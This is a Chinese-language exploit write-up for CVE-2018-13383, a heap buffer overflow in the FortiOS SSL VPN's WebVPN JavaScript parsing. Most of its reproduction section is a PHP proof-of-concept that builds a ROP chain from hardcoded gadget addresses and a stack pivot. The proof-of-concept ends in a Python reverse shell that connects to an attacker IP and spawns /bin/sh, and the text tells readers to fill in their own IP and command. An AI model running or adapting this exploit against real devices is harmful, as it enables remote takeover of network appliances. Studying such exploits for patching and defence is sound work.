(CVE-2018-13383)Fortinet FortiOS 缓冲区错误漏洞 ================================================= 一、漏洞简介 ------------ Fortinet FortiOS是美国飞塔(Fortinet)公司的一套专用于FortiGate网络安全平台上的安全操作系统。该系统为用户提供防火墙、防病毒、IPSec/SSLVPN、Web内容过滤和反垃圾邮件等多种安全功能。 Fortinet FortiOS 6.2.0之前版本中存在堆缓冲区溢出漏洞。该漏洞源于网络系统或产品在内存上执行操作时,未正确验证数据边界,导致向关联的其他内存位置上执行了错误的读写操作。攻击者可利用该漏洞导致缓冲区溢出或堆溢出等。 二、漏洞影响 ------------ Fortinet Fortios 6.2 Fortinet Fortios 6.0.5 三、复现过程 ------------ 这是WebVPN功能的漏洞。在解析HTML中的JavaScript时,它会尝试使用以下代码将内容复制到缓冲区中: memcpy(buffer, js_buf, js_buf_len); 缓冲区大小固定为`0x2000`,但输入字符串是无限制的。因此,这里存在堆溢出。值得注意的是,此漏洞可以溢出Null字节,这在我们的利用中很有用。为触发此溢出,我们需要将exploit放到HTTP服务器上,然后以普通用户权限登录SSL VPN代理访问我们的exploit为普通用户。 > 这里我们用PHP编写的PoC放在HTTP服务器上: > > //请自行修改里面的ip以及所需要的执行的命令 > 32 & 0xffffffff; return pack("II", $low, $high); } $junk = 0x4141414141414141; $nop_func = 0x32FC078; $gadget = p64($junk); $gadget .= p64($nop_func - 0x60); $gadget .= p64($junk); $gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ; $gadget .= p64($junk); $gadget .= p64($junk); $gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ; $gadget .= p64(0x1bed1f6); // pop rax ; ret ; $gadget .= p64(0x58); $gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret ; $gadget .= p64(0x1366639); // call system ; $gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;"; $p = str_repeat('AAAAAAAA', 1024+512-4); // offset $p .= $gadget; $p .= str_repeat('A', 0x1000 - strlen($gadget)); $p .= $gadget; ?> xxx 这个PoC可以分为三个部分。 - 1.虚假的SSL structure `SSL structure`和我们的缓冲区相靠,因此我们可以精确伪造。为了避免崩溃,我们将`method`设置为一个包含空函数指针的位置。此时的参数是 `SSL structure`本身`s`。但是,`method`前面只有8个字节,我们不能简单地调用`system("/bin/sh");`,这对于我们的反向shell来说是不够的。不过由于那个巨大的二进制文件,我们很容易找到ROP小片段。我们发现一个有用的堆栈枢轴: push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ; 因此,我们将`handshake_func`设置为这个小片段,将`rsp`移动到`SSL structure`中,进行下一步的ROP攻击。 - 2.ROP链 这里的ROP链很简单。我们稍微向前移动`rdi`,以便有足够的空间执行反向shell命令。 - 3.溢出的字符串 最后,我们连接溢出填充并加以利用。一旦我们溢出了SSL structure,就会得到一个shell。 最终稳定利用还需要多次尝试,因为有时程序会提前崩溃。但无论如何,攻击还是奏效了,只需要1\~2分钟,就可以获得一个反向shell。